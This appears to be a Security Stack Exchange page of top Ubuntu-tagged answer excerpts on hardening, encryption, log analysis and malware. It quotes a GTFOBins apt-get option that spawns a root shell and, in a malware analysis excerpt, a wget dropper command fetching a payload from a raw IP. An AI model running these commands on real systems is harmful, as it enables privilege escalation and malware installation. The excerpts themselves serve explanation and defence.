Hot answers tagged

85 votes
Accepted

Why has Ubuntu 18.04 moved back to insecure Xorg?

They are doing this because the next release is an LTS release, which means stability is the primary concern. Xorg has a good track record of stability, whereas Wayland is still (relatively) new. This ...
  • 65.7k
81 votes
Accepted

Why is disabling root necessary for security?

If you're not using Root, you're using sudo! Sudo is a great way to become root only when you need to. Root is a giant target. What's root's username? Root! I'm so smart :) Logging. Sudo has a ...
  • 4,727
74 votes
Accepted

Aren't keyfiles defeating the purpose of encryption?

If decryption only relies on the keyfile and this keyfile is readily available, there is indeed no significant security benefit in your setup. What you can do though is store the keyfile on a ...
  • 7,369
67 votes
Accepted

What are the potential vulnerabilities of allowing non-root users to run apt-get?

apt-get update -o APT::Update::Pre-Invoke::=/bin/sh From GTFOBins This gives you a root shell on the system. No creating packages and adding fake repos; this will give the user who runs this command ...
  • 845
64 votes

Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

You should not close off port 80. Instead, you should configure your server to redirect HTTP port 80 to HTTPS port 443 in order to use TLS. You can optionally use HSTS (HTTP Strict Transport Security) ...
  • 65.7k
63 votes
Accepted

Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

Google, the major search engine of the Internet (dwarfing both Bing and Yahoo), and the browser used by majority of Internet users, has been pushing for an HTTPS-only world by decreasing the page rank ...
  • 5,724
52 votes

How is it possible for boss to know I am finding a job?

Your boss is likely making assumptions. They can't read your messages on LinkedIn (unless you have your inmails forwarded to your work email and your company is monitoring your inbox....unlikely) The ...
46 votes

What are the potential vulnerabilities of allowing non-root users to run apt-get?

You say you're using a "custom curated apt repository" but there's no way to enforce that. Any user that can invoke apt can specify their own source list, for example apt install root-backdoor -o Dir::...
  • 43k
44 votes
Accepted

Is this what a brute force SSH attack looks like?

Is this a bruteforce attack This looks like the background scanning that any server on the internet will experience. Should I be worried Not really, background scanning is completely normal, as long ...
  • 3,179
39 votes
Accepted

Concerning GET request in logs

Can anyone help me determine if this is something I should be concerned about? Someone is trying to exploit a vulnerability on your server. References to cmd.exe, System.Net.WebClient and %SystemRoot%...
  • 52.1k
38 votes

Why is disabling root necessary for security?

The site you link to is very poor at explaining what they are getting you to do. The root account is not being disabled, but rather, the password for root is disabled. That's what passwd -l does. ...
  • 126k
36 votes
Accepted

Understanding suspicious HTTP GET Request

The reason it counts as "success" is because of the beginning: /?... This means the path the server cares about is /, which likely maps to the index of your web application. The query ...
27 votes

Why has Ubuntu 18.04 moved back to insecure Xorg?

@Forest's answer is helpful but I'd like to address the security perspective. While there is a security risk, it's likely considered an acceptable risk, and possibly a feature, as mentioned in @...
27 votes

Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

Is a firewall enough of a security measure for an Ubuntu server that hosts a website? Given the technologies you want to use you want to create a dynamic database-backed website without having any ...
23 votes
Accepted

ISO27001 and Linux/Ubuntu

One of ISO 27001 requirements is management of access control to company's IT resources. If you just install Ubuntu on your laptop, all the access control will be managed by you directly, instead of ...
  • 1,456
23 votes
Accepted

I don't recognise my DNS server's address: does this mean I am compromised?

Something in your environment has definitely been compromised. It seems more likely that your router has been compromised. You haven't provided much information, so I'm going to make some basic ...
  • 1,068
22 votes

How to use FDE without needing to share the encryption password

It comes to this: You want to implement a DRM scheme. Many before you have tried, all of them failed. It is not possible to give something (hardware, data) to users and prevent them from using it in ...
  • 5,943
21 votes
Accepted

Breaching security of a notebook with full disc encryption when screen is locked

Can anyone point out any weakness in this setup, and if you do, how to make it secure? Hardware solutions exist which can grab your system's memory without needing your login. And that's pretty ...
  • 72.4k
20 votes
Accepted

How is it possible for boss to know I am finding a job?

Your employer is possibly using a service like "Keeper" from HiQ Labs, which can provide forward-looking attrition risk analysis based on LinkedIn data. Keeper analyses LinkedIn user data ...
  • 316
19 votes
Accepted

How to use FDE without needing to share the encryption password

According to my previous answer, suggestion by @logneck and a bit of google-fu, I came to the conclusion that it is possible to implement the scheme requested in the question with available tools and ...
18 votes
Accepted

How to read CVE - 2016 - 5696 correctly

Does the version next to pending refer to kernel version for which the fix is released? Yes- more precisely, the version next to "pending" refers to the version of the package within the ...
  • 3,449
17 votes

Why is disabling root necessary for security?

It is an old Tradition from the days of the Mainframe. The idea is that root can do what he wants with the machine, including replacing the kernel or destroying the UEFI variables, which can brick the ...
  • 170k
16 votes
Accepted

*NIX shadow file password format

The most common format for hashes on Unix-like systems has the form $ALG$SALT$OUTPUT where ALG is a small number identifying the algorithm, SALT is a salt for the hash and OUTPUT is the output of the ...
16 votes
Accepted

Why can 'Others' read files by default in Ubuntu?

The permissions model of Linux means that, even if you are the only user of your computer, you're not the only user on the system. Many services will create their own user account to run under - for ...
  • 276
13 votes

Are there ransomware infections of Ubuntu Linux in the wild?

Actually there IS a new ransomware (now, not when the question was asked) that is apparently a trojan that encrypts home directories and web root, then asks for a bitcoin to get the decryption key. I ...
  • 271
12 votes
Accepted

Is a firewall enough of a security measure for an Ubuntu server that hosts a website?

A firewall is never enough, it is the bare minimum. Then having an IDS of some sort is desirable. For example if your SSH port is exposed you should block brute-force attacks, even if you have a ...
  • 7,092
12 votes

Aren't keyfiles defeating the purpose of encryption?

While Demento's answer is fine, I'd also present another user case I'm personally using: I have full disk encryption set up — using LUKS on a Linux-based box, and the scheme is implemented as follows: ...
  • 221
11 votes

Why should one bother encrypting the harddisk in linux if one can easily recover the root password?

If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive. You might be mixing things up here. ...
  • 22.5k
11 votes
Accepted

kworker34 malware on Linux

... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ... Googling for stratum+tcp indicates that crypto-currency mining is going on. wget 91.235.143.237/miu.png -O /tmp/conn dd if=/tmp/conn ...

Only top scored, non community-wiki answers of a minimum length are eligible